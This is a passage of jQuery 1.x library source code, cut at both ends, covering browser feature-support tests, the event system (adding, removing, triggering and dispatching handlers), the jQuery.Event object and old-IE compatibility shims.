false;\n\t\t});\n\n\t\tdiv.cloneNode( true ).click();\n\t}\n\n\t// Execute the test only if not already executed in another module.\n\tif (support.deleteExpando == null) {\n\t\t// Support: IE<9\n\t\tsupport.deleteExpando = true;\n\t\ttry {\n\t\t\tdelete div.test;\n\t\t} catch( e ) {\n\t\t\tsupport.deleteExpando = false;\n\t\t}\n\t}\n\n\t// Null elements to avoid leaks in IE.\n\tfragment = div = input = null;\n})();\n\n\n(function() {\n\tvar i, eventName,\n\t\tdiv = document.createElement( \"div\" );\n\n\t// Support: IE<9 (lack submit/change bubble), Firefox 23+ (lack focusin event)\n\tfor ( i in { submit: true, change: true, focusin: true }) {\n\t\teventName = \"on\" + i;\n\n\t\tif ( !(support[ i + \"Bubbles\" ] = eventName in window) ) {\n\t\t\t// Beware of CSP restrictions (https://developer.mozilla.org/en/Security/CSP)\n\t\t\tdiv.setAttribute( eventName, \"t\" );\n\t\t\tsupport[ i + \"Bubbles\" ] = div.attributes[ eventName ].expando === false;\n\t\t}\n\t}\n\n\t// Null elements to avoid leaks in IE.\n\tdiv = null;\n})();\n\n\nvar rformElems = /^(?:input|select|textarea)$/i,\n\trkeyEvent = /^key/,\n\trmouseEvent = /^(?:mouse|contextmenu)|click/,\n\trfocusMorph = /^(?:focusinfocus|focusoutblur)$/,\n\trtypenamespace = /^([^.]*)(?:\\.(.+)|)$/;\n\nfunction returnTrue() {\n\treturn true;\n}\n\nfunction returnFalse() {\n\treturn false;\n}\n\nfunction safeActiveElement() {\n\ttry {\n\t\treturn document.activeElement;\n\t} catch ( err ) { }\n}\n\n/*\n * Helper functions for managing events -- not part of the public interface.\n * Props to Dean Edwards' addEvent library for many of the ideas.\n */\njQuery.event = {\n\n\tglobal: {},\n\n\tadd: function( elem, types, handler, data, selector ) {\n\t\tvar tmp, events, t, handleObjIn,\n\t\t\tspecial, eventHandle, handleObj,\n\t\t\thandlers, type, namespaces, origType,\n\t\t\telemData = jQuery._data( elem );\n\n\t\t// Don't attach events to noData or text/comment nodes (but allow plain objects)\n\t\tif ( !elemData ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Caller can pass in an object of custom data in lieu of the handler\n\t\tif ( handler.handler ) {\n\t\t\thandleObjIn = handler;\n\t\t\thandler = handleObjIn.handler;\n\t\t\tselector = handleObjIn.selector;\n\t\t}\n\n\t\t// Make sure that the handler has a unique ID, used to find/remove it later\n\t\tif ( !handler.guid ) {\n\t\t\thandler.guid = jQuery.guid++;\n\t\t}\n\n\t\t// Init the element's event structure and main handler, if this is the first\n\t\tif ( !(events = elemData.events) ) {\n\t\t\tevents = elemData.events = {};\n\t\t}\n\t\tif ( !(eventHandle = elemData.handle) ) {\n\t\t\teventHandle = elemData.handle = function( e ) {\n\t\t\t\t// Discard the second event of a jQuery.event.trigger() and\n\t\t\t\t// when an event is called after a page has unloaded\n\t\t\t\treturn typeof jQuery !== strundefined && (!e || jQuery.event.triggered !== e.type) ?\n\t\t\t\t\tjQuery.event.dispatch.apply( eventHandle.elem, arguments ) :\n\t\t\t\t\tundefined;\n\t\t\t};\n\t\t\t// Add elem as a property of the handle fn to prevent a memory leak with IE non-native events\n\t\t\teventHandle.elem = elem;\n\t\t}\n\n\t\t// Handle multiple events separated by a space\n\t\ttypes = ( types || \"\" ).match( rnotwhite ) || [ \"\" ];\n\t\tt = types.length;\n\t\twhile ( t-- ) {\n\t\t\ttmp = rtypenamespace.exec( types[t] ) || [];\n\t\t\ttype = origType = tmp[1];\n\t\t\tnamespaces = ( tmp[2] || \"\" ).split( \".\" ).sort();\n\n\t\t\t// There *must* be a type, no attaching namespace-only handlers\n\t\t\tif ( !type ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// If event changes its type, use the special event handlers for the changed type\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// If selector defined, determine special event api type, otherwise given type\n\t\t\ttype = ( selector ? special.delegateType : special.bindType ) || type;\n\n\t\t\t// Update special based on newly reset type\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// handleObj is passed to all event handlers\n\t\t\thandleObj = jQuery.extend({\n\t\t\t\ttype: type,\n\t\t\t\torigType: origType,\n\t\t\t\tdata: data,\n\t\t\t\thandler: handler,\n\t\t\t\tguid: handler.guid,\n\t\t\t\tselector: selector,\n\t\t\t\tneedsContext: selector && jQuery.expr.match.needsContext.test( selector ),\n\t\t\t\tnamespace: namespaces.join(\".\")\n\t\t\t}, handleObjIn );\n\n\t\t\t// Init the event handler queue if we're the first\n\t\t\tif ( !(handlers = events[ type ]) ) {\n\t\t\t\thandlers = events[ type ] = [];\n\t\t\t\thandlers.delegateCount = 0;\n\n\t\t\t\t// Only use addEventListener/attachEvent if the special events handler returns false\n\t\t\t\tif ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) {\n\t\t\t\t\t// Bind the global event handler to the element\n\t\t\t\t\tif ( elem.addEventListener ) {\n\t\t\t\t\t\telem.addEventListener( type, eventHandle, false );\n\n\t\t\t\t\t} else if ( elem.attachEvent ) {\n\t\t\t\t\t\telem.attachEvent( \"on\" + type, eventHandle );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( special.add ) {\n\t\t\t\tspecial.add.call( elem, handleObj );\n\n\t\t\t\tif ( !handleObj.handler.guid ) {\n\t\t\t\t\thandleObj.handler.guid = handler.guid;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add to the element's handler list, delegates in front\n\t\t\tif ( selector ) {\n\t\t\t\thandlers.splice( handlers.delegateCount++, 0, handleObj );\n\t\t\t} else {\n\t\t\t\thandlers.push( handleObj );\n\t\t\t}\n\n\t\t\t// Keep track of which events have ever been used, for event optimization\n\t\t\tjQuery.event.global[ type ] = true;\n\t\t}\n\n\t\t// Nullify elem to prevent memory leaks in IE\n\t\telem = null;\n\t},\n\n\t// Detach an event or set of events from an element\n\tremove: function( elem, types, handler, selector, mappedTypes ) {\n\t\tvar j, handleObj, tmp,\n\t\t\torigCount, t, events,\n\t\t\tspecial, handlers, type,\n\t\t\tnamespaces, origType,\n\t\t\telemData = jQuery.hasData( elem ) && jQuery._data( elem );\n\n\t\tif ( !elemData || !(events = elemData.events) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Once for each type.namespace in types; type may be omitted\n\t\ttypes = ( types || \"\" ).match( rnotwhite ) || [ \"\" ];\n\t\tt = types.length;\n\t\twhile ( t-- ) {\n\t\t\ttmp = rtypenamespace.exec( types[t] ) || [];\n\t\t\ttype = origType = tmp[1];\n\t\t\tnamespaces = ( tmp[2] || \"\" ).split( \".\" ).sort();\n\n\t\t\t// Unbind all events (on this namespace, if provided) for the element\n\t\t\tif ( !type ) {\n\t\t\t\tfor ( type in events ) {\n\t\t\t\t\tjQuery.event.remove( elem, type + types[ t ], handler, selector, true );\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\t\t\ttype = ( selector ? special.delegateType : special.bindType ) || type;\n\t\t\thandlers = events[ type ] || [];\n\t\t\ttmp = tmp[2] && new RegExp( \"(^|\\\\.)\" + namespaces.join(\"\\\\.(?:.*\\\\.|)\") + \"(\\\\.|$)\" );\n\n\t\t\t// Remove matching events\n\t\t\torigCount = j = handlers.length;\n\t\t\twhile ( j-- ) {\n\t\t\t\thandleObj = handlers[ j ];\n\n\t\t\t\tif ( ( mappedTypes || origType === handleObj.origType ) &&\n\t\t\t\t\t( !handler || handler.guid === handleObj.guid ) &&\n\t\t\t\t\t( !tmp || tmp.test( handleObj.namespace ) ) &&\n\t\t\t\t\t( !selector || selector === handleObj.selector || selector === \"**\" && handleObj.selector ) ) {\n\t\t\t\t\thandlers.splice( j, 1 );\n\n\t\t\t\t\tif ( handleObj.selector ) {\n\t\t\t\t\t\thandlers.delegateCount--;\n\t\t\t\t\t}\n\t\t\t\t\tif ( special.remove ) {\n\t\t\t\t\t\tspecial.remove.call( elem, handleObj );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Remove generic event handler if we removed something and no more handlers exist\n\t\t\t// (avoids potential for endless recursion during removal of special event handlers)\n\t\t\tif ( origCount && !handlers.length ) {\n\t\t\t\tif ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) {\n\t\t\t\t\tjQuery.removeEvent( elem, type, elemData.handle );\n\t\t\t\t}\n\n\t\t\t\tdelete events[ type ];\n\t\t\t}\n\t\t}\n\n\t\t// Remove the expando if it's no longer used\n\t\tif ( jQuery.isEmptyObject( events ) ) {\n\t\t\tdelete elemData.handle;\n\n\t\t\t// removeData also checks for emptiness and clears the expando if empty\n\t\t\t// so use it instead of delete\n\t\t\tjQuery._removeData( elem, \"events\" );\n\t\t}\n\t},\n\n\ttrigger: function( event, data, elem, onlyHandlers ) {\n\t\tvar handle, ontype, cur,\n\t\t\tbubbleType, special, tmp, i,\n\t\t\teventPath = [ elem || document ],\n\t\t\ttype = hasOwn.call( event, \"type\" ) ? event.type : event,\n\t\t\tnamespaces = hasOwn.call( event, \"namespace\" ) ? event.namespace.split(\".\") : [];\n\n\t\tcur = tmp = elem = elem || document;\n\n\t\t// Don't do events on text and comment nodes\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// focus/blur morphs to focusin/out; ensure we're not firing them right now\n\t\tif ( rfocusMorph.test( type + jQuery.event.triggered ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( type.indexOf(\".\") >= 0 ) {\n\t\t\t// Namespaced trigger; create a regexp to match event type in handle()\n\t\t\tnamespaces = type.split(\".\");\n\t\t\ttype = namespaces.shift();\n\t\t\tnamespaces.sort();\n\t\t}\n\t\tontype = type.indexOf(\":\") < 0 && \"on\" + type;\n\n\t\t// Caller can pass in a jQuery.Event object, Object, or just an event type string\n\t\tevent = event[ jQuery.expando ] ?\n\t\t\tevent :\n\t\t\tnew jQuery.Event( type, typeof event === \"object\" && event );\n\n\t\t// Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)\n\t\tevent.isTrigger = onlyHandlers ? 2 : 3;\n\t\tevent.namespace = namespaces.join(\".\");\n\t\tevent.namespace_re = event.namespace ?\n\t\t\tnew RegExp( \"(^|\\\\.)\" + namespaces.join(\"\\\\.(?:.*\\\\.|)\") + \"(\\\\.|$)\" ) :\n\t\t\tnull;\n\n\t\t// Clean up the event in case it is being reused\n\t\tevent.result = undefined;\n\t\tif ( !event.target ) {\n\t\t\tevent.target = elem;\n\t\t}\n\n\t\t// Clone any incoming data and prepend the event, creating the handler arg list\n\t\tdata = data == null ?\n\t\t\t[ event ] :\n\t\t\tjQuery.makeArray( data, [ event ] );\n\n\t\t// Allow special events to draw outside the lines\n\t\tspecial = jQuery.event.special[ type ] || {};\n\t\tif ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Determine event propagation path in advance, per W3C events spec (#9951)\n\t\t// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)\n\t\tif ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) {\n\n\t\t\tbubbleType = special.delegateType || type;\n\t\t\tif ( !rfocusMorph.test( bubbleType + type ) ) {\n\t\t\t\tcur = cur.parentNode;\n\t\t\t}\n\t\t\tfor ( ; cur; cur = cur.parentNode ) {\n\t\t\t\teventPath.push( cur );\n\t\t\t\ttmp = cur;\n\t\t\t}\n\n\t\t\t// Only add window if we got to document (e.g., not plain obj or detached DOM)\n\t\t\tif ( tmp === (elem.ownerDocument || document) ) {\n\t\t\t\teventPath.push( tmp.defaultView || tmp.parentWindow || window );\n\t\t\t}\n\t\t}\n\n\t\t// Fire handlers on the event path\n\t\ti = 0;\n\t\twhile ( (cur = eventPath[i++]) && !event.isPropagationStopped() ) {\n\n\t\t\tevent.type = i > 1 ?\n\t\t\t\tbubbleType :\n\t\t\t\tspecial.bindType || type;\n\n\t\t\t// jQuery handler\n\t\t\thandle = ( jQuery._data( cur, \"events\" ) || {} )[ event.type ] && jQuery._data( cur, \"handle\" );\n\t\t\tif ( handle ) {\n\t\t\t\thandle.apply( cur, data );\n\t\t\t}\n\n\t\t\t// Native handler\n\t\t\thandle = ontype && cur[ ontype ];\n\t\t\tif ( handle && handle.apply && jQuery.acceptData( cur ) ) {\n\t\t\t\tevent.result = handle.apply( cur, data );\n\t\t\t\tif ( event.result === false ) {\n\t\t\t\t\tevent.preventDefault();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tevent.type = type;\n\n\t\t// If nobody prevented the default action, do it now\n\t\tif ( !onlyHandlers && !event.isDefaultPrevented() ) {\n\n\t\t\tif ( (!special._default || special._default.apply( eventPath.pop(), data ) === false) &&\n\t\t\t\tjQuery.acceptData( elem ) ) {\n\n\t\t\t\t// Call a native DOM method on the target with the same name name as the event.\n\t\t\t\t// Can't use an .isFunction() check here because IE6/7 fails that test.\n\t\t\t\t// Don't do default actions on window, that's where global variables be (#6170)\n\t\t\t\tif ( ontype && elem[ type ] && !jQuery.isWindow( elem ) ) {\n\n\t\t\t\t\t// Don't re-trigger an onFOO event when we call its FOO() method\n\t\t\t\t\ttmp = elem[ ontype ];\n\n\t\t\t\t\tif ( tmp ) {\n\t\t\t\t\t\telem[ ontype ] = null;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Prevent re-triggering of the same event, since we already bubbled it above\n\t\t\t\t\tjQuery.event.triggered = type;\n\t\t\t\t\ttry {\n\t\t\t\t\t\telem[ type ]();\n\t\t\t\t\t} catch ( e ) {\n\t\t\t\t\t\t// IE<9 dies on focus/blur to hidden element (#1486,#12518)\n\t\t\t\t\t\t// only reproducible on winXP IE8 native, not IE9 in IE8 mode\n\t\t\t\t\t}\n\t\t\t\t\tjQuery.event.triggered = undefined;\n\n\t\t\t\t\tif ( tmp ) {\n\t\t\t\t\t\telem[ ontype ] = tmp;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\tdispatch: function( event ) {\n\n\t\t// Make a writable jQuery.Event from the native event object\n\t\tevent = jQuery.event.fix( event );\n\n\t\tvar i, ret, handleObj, matched, j,\n\t\t\thandlerQueue = [],\n\t\t\targs = slice.call( arguments ),\n\t\t\thandlers = ( jQuery._data( this, \"events\" ) || {} )[ event.type ] || [],\n\t\t\tspecial = jQuery.event.special[ event.type ] || {};\n\n\t\t// Use the fix-ed jQuery.Event rather than the (read-only) native event\n\t\targs[0] = event;\n\t\tevent.delegateTarget = this;\n\n\t\t// Call the preDispatch hook for the mapped type, and let it bail if desired\n\t\tif ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Determine handlers\n\t\thandlerQueue = jQuery.event.handlers.call( this, event, handlers );\n\n\t\t// Run delegates first; they may want to stop propagation beneath us\n\t\ti = 0;\n\t\twhile ( (matched = handlerQueue[ i++ ]) && !event.isPropagationStopped() ) {\n\t\t\tevent.currentTarget = matched.elem;\n\n\t\t\tj = 0;\n\t\t\twhile ( (handleObj = matched.handlers[ j++ ]) && !event.isImmediatePropagationStopped() ) {\n\n\t\t\t\t// Triggered event must either 1) have no namespace, or\n\t\t\t\t// 2) have namespace(s) a subset or equal to those in the bound event (both can have no namespace).\n\t\t\t\tif ( !event.namespace_re || event.namespace_re.test( handleObj.namespace ) ) {\n\n\t\t\t\t\tevent.handleObj = handleObj;\n\t\t\t\t\tevent.data = handleObj.data;\n\n\t\t\t\t\tret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler )\n\t\t\t\t\t\t\t.apply( matched.elem, args );\n\n\t\t\t\t\tif ( ret !== undefined ) {\n\t\t\t\t\t\tif ( (event.result = ret) === false ) {\n\t\t\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Call the postDispatch hook for the mapped type\n\t\tif ( special.postDispatch ) {\n\t\t\tspecial.postDispatch.call( this, event );\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\thandlers: function( event, handlers ) {\n\t\tvar sel, handleObj, matches, i,\n\t\t\thandlerQueue = [],\n\t\t\tdelegateCount = handlers.delegateCount,\n\t\t\tcur = event.target;\n\n\t\t// Find delegate handlers\n\t\t// Black-hole SVG <use> instance trees (#13180)\n\t\t// Avoid non-left-click bubbling in Firefox (#3861)\n\t\tif ( delegateCount && cur.nodeType && (!event.button || event.type !== \"click\") ) {\n\n\t\t\t/* jshint eqeqeq: false */\n\t\t\tfor ( ; cur != this; cur = cur.parentNode || this ) {\n\t\t\t\t/* jshint eqeqeq: true */\n\n\t\t\t\t// Don't check non-elements (#13208)\n\t\t\t\t// Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)\n\t\t\t\tif ( cur.nodeType === 1 && (cur.disabled !== true || event.type !== \"click\") ) {\n\t\t\t\t\tmatches = [];\n\t\t\t\t\tfor ( i = 0; i < delegateCount; i++ ) {\n\t\t\t\t\t\thandleObj = handlers[ i ];\n\n\t\t\t\t\t\t// Don't conflict with Object.prototype properties (#13203)\n\t\t\t\t\t\tsel = handleObj.selector + \" \";\n\n\t\t\t\t\t\tif ( matches[ sel ] === undefined ) {\n\t\t\t\t\t\t\tmatches[ sel ] = handleObj.needsContext ?\n\t\t\t\t\t\t\t\tjQuery( sel, this ).index( cur ) >= 0 :\n\t\t\t\t\t\t\t\tjQuery.find( sel, this, null, [ cur ] ).length;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( matches[ sel ] ) {\n\t\t\t\t\t\t\tmatches.push( handleObj );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( matches.length ) {\n\t\t\t\t\t\thandlerQueue.push({ elem: cur, handlers: matches });\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Add the remaining (directly-bound) handlers\n\t\tif ( delegateCount < handlers.length ) {\n\t\t\thandlerQueue.push({ elem: this, handlers: handlers.slice( delegateCount ) });\n\t\t}\n\n\t\treturn handlerQueue;\n\t},\n\n\tfix: function( event ) {\n\t\tif ( event[ jQuery.expando ] ) {\n\t\t\treturn event;\n\t\t}\n\n\t\t// Create a writable copy of the event object and normalize some properties\n\t\tvar i, prop, copy,\n\t\t\ttype = event.type,\n\t\t\toriginalEvent = event,\n\t\t\tfixHook = this.fixHooks[ type ];\n\n\t\tif ( !fixHook ) {\n\t\t\tthis.fixHooks[ type ] = fixHook =\n\t\t\t\trmouseEvent.test( type ) ? this.mouseHooks :\n\t\t\t\trkeyEvent.test( type ) ? this.keyHooks :\n\t\t\t\t{};\n\t\t}\n\t\tcopy = fixHook.props ? this.props.concat( fixHook.props ) : this.props;\n\n\t\tevent = new jQuery.Event( originalEvent );\n\n\t\ti = copy.length;\n\t\twhile ( i-- ) {\n\t\t\tprop = copy[ i ];\n\t\t\tevent[ prop ] = originalEvent[ prop ];\n\t\t}\n\n\t\t// Support: IE<9\n\t\t// Fix target property (#1925)\n\t\tif ( !event.target ) {\n\t\t\tevent.target = originalEvent.srcElement || document;\n\t\t}\n\n\t\t// Support: Chrome 23+, Safari?\n\t\t// Target should not be a text node (#504, #13143)\n\t\tif ( event.target.nodeType === 3 ) {\n\t\t\tevent.target = event.target.parentNode;\n\t\t}\n\n\t\t// Support: IE<9\n\t\t// For mouse/key events, metaKey==false if it's undefined (#3368, #11328)\n\t\tevent.metaKey = !!event.metaKey;\n\n\t\treturn fixHook.filter ? fixHook.filter( event, originalEvent ) : event;\n\t},\n\n\t// Includes some event props shared by KeyEvent and MouseEvent\n\tprops: \"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),\n\n\tfixHooks: {},\n\n\tkeyHooks: {\n\t\tprops: \"char charCode key keyCode\".split(\" \"),\n\t\tfilter: function( event, original ) {\n\n\t\t\t// Add which for key events\n\t\t\tif ( event.which == null ) {\n\t\t\t\tevent.which = original.charCode != null ? original.charCode : original.keyCode;\n\t\t\t}\n\n\t\t\treturn event;\n\t\t}\n\t},\n\n\tmouseHooks: {\n\t\tprops: \"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),\n\t\tfilter: function( event, original ) {\n\t\t\tvar body, eventDoc, doc,\n\t\t\t\tbutton = original.button,\n\t\t\t\tfromElement = original.fromElement;\n\n\t\t\t// Calculate pageX/Y if missing and clientX/Y available\n\t\t\tif ( event.pageX == null && original.clientX != null ) {\n\t\t\t\teventDoc = event.target.ownerDocument || document;\n\t\t\t\tdoc = eventDoc.documentElement;\n\t\t\t\tbody = eventDoc.body;\n\n\t\t\t\tevent.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 );\n\t\t\t\tevent.pageY = original.clientY + ( doc && doc.scrollTop  || body && body.scrollTop  || 0 ) - ( doc && doc.clientTop  || body && body.clientTop  || 0 );\n\t\t\t}\n\n\t\t\t// Add relatedTarget, if necessary\n\t\t\tif ( !event.relatedTarget && fromElement ) {\n\t\t\t\tevent.relatedTarget = fromElement === event.target ? original.toElement : fromElement;\n\t\t\t}\n\n\t\t\t// Add which for click: 1 === left; 2 === middle; 3 === right\n\t\t\t// Note: button is not normalized, so don't use it\n\t\t\tif ( !event.which && button !== undefined ) {\n\t\t\t\tevent.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) );\n\t\t\t}\n\n\t\t\treturn event;\n\t\t}\n\t},\n\n\tspecial: {\n\t\tload: {\n\t\t\t// Prevent triggered image.load events from bubbling to window.load\n\t\t\tnoBubble: true\n\t\t},\n\t\tfocus: {\n\t\t\t// Fire native event if possible so blur/focus sequence is correct\n\t\t\ttrigger: function() {\n\t\t\t\tif ( this !== safeActiveElement() && this.focus ) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tthis.focus();\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t} catch ( e ) {\n\t\t\t\t\t\t// Support: IE<9\n\t\t\t\t\t\t// If we error on focus to hidden element (#1486, #12518),\n\t\t\t\t\t\t// let .trigger() run the handlers\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\t\t\tdelegateType: \"focusin\"\n\t\t},\n\t\tblur: {\n\t\t\ttrigger: function() {\n\t\t\t\tif ( this === safeActiveElement() && this.blur ) {\n\t\t\t\t\tthis.blur();\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t},\n\t\t\tdelegateType: \"focusout\"\n\t\t},\n\t\tclick: {\n\t\t\t// For checkbox, fire native event so checked state will be right\n\t\t\ttrigger: function() {\n\t\t\t\tif ( jQuery.nodeName( this, \"input\" ) && this.type === \"checkbox\" && this.click ) {\n\t\t\t\t\tthis.click();\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t},\n\n\t\t\t// For cross-browser consistency, don't fire native .click() on links\n\t\t\t_default: function( event ) {\n\t\t\t\treturn jQuery.nodeName( event.target, \"a\" );\n\t\t\t}\n\t\t},\n\n\t\tbeforeunload: {\n\t\t\tpostDispatch: function( event ) {\n\n\t\t\t\t// Even when returnValue equals to undefined Firefox will still show alert\n\t\t\t\tif ( event.result !== undefined ) {\n\t\t\t\t\tevent.originalEvent.returnValue = event.result;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\tsimulate: function( type, elem, event, bubble ) {\n\t\t// Piggyback on a donor event to simulate a different one.\n\t\t// Fake originalEvent to avoid donor's stopPropagation, but if the\n\t\t// simulated event prevents default then we do the same on the donor.\n\t\tvar e = jQuery.extend(\n\t\t\tnew jQuery.Event(),\n\t\t\tevent,\n\t\t\t{\n\t\t\t\ttype: type,\n\t\t\t\tisSimulated: true,\n\t\t\t\toriginalEvent: {}\n\t\t\t}\n\t\t);\n\t\tif ( bubble ) {\n\t\t\tjQuery.event.trigger( e, null, elem );\n\t\t} else {\n\t\t\tjQuery.event.dispatch.call( elem, e );\n\t\t}\n\t\tif ( e.isDefaultPrevented() ) {\n\t\t\tevent.preventDefault();\n\t\t}\n\t}\n};\n\njQuery.removeEvent = document.removeEventListener ?\n\tfunction( elem, type, handle ) {\n\t\tif ( elem.removeEventListener ) {\n\t\t\telem.removeEventListener( type, handle, false );\n\t\t}\n\t} :\n\tfunction( elem, type, handle ) {\n\t\tvar name = \"on\" + type;\n\n\t\tif ( elem.detachEvent ) {\n\n\t\t\t// #8545, #7054, preventing memory leaks for custom events in IE6-8\n\t\t\t// detachEvent needed property on element, by name of that event, to properly expose it to GC\n\t\t\tif ( typeof elem[ name ] === strundefined ) {\n\t\t\t\telem[ name ] = null;\n\t\t\t}\n\n\t\t\telem.detachEvent( name, handle );\n\t\t}\n\t};\n\njQuery.Event = function( src, props ) {\n\t// Allow instantiation without the 'new' keyword\n\tif ( !(this instanceof jQuery.Event) ) {\n\t\treturn new jQuery.Event( src, props );\n\t}\n\n\t// Event object\n\tif ( src && src.type ) {\n\t\tthis.originalEvent = src;\n\t\tthis.type = src.type;\n\n\t\t// Events bubbling up the document may have been marked as prevented\n\t\t// by a handler lower down the tree; reflect the correct value.\n\t\tthis.isDefaultPrevented = src.defaultPrevented ||\n\t\t\t\tsrc.defaultPrevented === undefined && (\n\t\t\t\t// Support: IE < 9\n\t\t\t\tsrc.returnValue === false ||\n\t\t\t\t// Support: Android < 4.0\n\t\t\t\tsrc.getPreventDefault && src.getPreventDefault() ) ?\n\t\t\treturnTrue :\n\t\t\treturnFalse;\n\n\t// Event type\n\t} else {\n\t\tthis.type = src;\n\t}\n\n\t// Put explicitly provided properties onto the event object\n\tif ( props ) {\n\t\tjQuery.extend( this, props );\n\t}\n\n\t// Create a timestamp if incoming event doesn't have one\n\tthis.timeStamp = src && src.timeStamp || jQuery.now();\n\n\t// Mark it as fixed\n\tthis[ jQuery.expando ] = true;\n};\n\n// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding\n// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html\njQuery.Event.prototype = {\n\tisDefaultPrevented: returnFalse,\n\tisPropagationStopped: returnFalse,\n\tisImmediatePropagationStopped: returnFalse,\n\n\tpreventDefault: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isDefaultPrevented = returnTrue;\n\t\tif ( !e ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// If preventDefault exists, run it on the original event\n\t\tif ( e.preventDefault ) {\n\t\t\te.preventDefault();\n\n\t\t// Support: IE\n\t\t// Otherwise set the returnValue property of the original event to false\n\t\t} else {\n\t\t\te.returnValue = false;\n\t\t}\n\t},\n\tstopPropagation: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isPropagationStopped = returnTrue;\n\t\tif ( !e ) {\n\t\t\treturn;\n\t\t}\n\t\t// If stopPropagation exists, run it on the original event\n\t\tif ( e.stopPropagation ) {\n\t\t\te.stopPropagation();\n\t\t}\n\n\t\t// Support: IE\n\t\t// Set the cancelBubble property of the original event to true\n\t\te.cancelBubble = true;\n\t},\n\tstopImmediatePropagation: function() {\n\t\tthis.isImmediatePropagationStopped = returnTrue;\n\t\tthis.stopPropagation();\n\t}\n};\n\n// Create mouseenter/leave events using mouseover/out and event-time checks\njQuery.each({\n\tmouseenter: \"mouseover\",\n\tmouseleave: \"mouseout\"\n}, function( orig, fix ) {\n\tjQuery.event.special[ orig ] = {\n\t\tdelegateType: fix,\n\t\tbindType: fix,\n\n\t\thandle: function( event ) {\n\t\t\tvar ret,\n\t\t\t\ttarget = this,\n\t\t\t\trelated = event.relatedTarget,\n\t\t\t\thandleObj = event.handleObj;\n\n\t\t\t// For mousenter/leave call the handler if related is outside the target.\n\t\t\t// NB: No relatedTarget if the mouse left/entered the browser window\n\t\t\tif ( !related || (related !== target && !jQuery.contains( target, related )) ) {\n\t\t\t\tevent.type = handleObj.origType;\n\t\t\t\tret = handleObj.handler.apply( this, arguments );\n\t\t\t\tevent.type = fix;\n\t\t\t}\n\t\t\treturn ret;\n\t\t}\n\t};\n});\n\n// IE submit delegation\nif ( !support.submitBubbles ) {\n\n\tjQuery.event.special.submit = {\n\t\tsetup: function() {\n\t\t\t// Only need this for delegated form submit events\n\t\t\tif ( jQuery.nodeName( this, \"form\" ) ) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t// Lazy-add a submit handler when a descendant form may potentially be submitted\n\t\t\tjQuery.event.add( this, \"click._submit keypress._submit\", function( e ) {\n\t\t\t\t// Node name check avoids a VML-related crash in IE (#9807)\n\t\t\t\tvar elem = e.target,\n\t\t\t\t\tform = jQuery.nodeName( elem, \"input\" ) || jQuery.nodeName( elem, \"button\" ) ? elem.form : undefined;\n\t\t\t\tif ( form && !jQuery._data( form, \"submitBubbles\" ) ) {\n\t\t\t\t\tjQuery.event.add( form, \"submit._submit\", function( event ) {\n\t\t\t\t\t\tevent._submit_bubble = true;\n\t\t\t\t\t});\n\t\t\t\t\tjQuery._data( form, \"submitBubbles\", true );\n\t\t\t\t}\n\t\t\t});\n\t\t\t// return undefined since we don't need an event listener\n\t\t},\n\n\t\tpostDispatch: function( event ) {\n\t\t\t// If form was submitted by the user, bubble the event up the tree\n\t\t\tif ( event._submit_bubble ) {\n\t\t\t\tdelete event._submit_bubble;\n\t\t\t\tif ( this.parentNode && !event.isTrigger ) {\n\t\t\t\t\tjQuery.event.simulate( \"submit\", this.parentNode, event, true 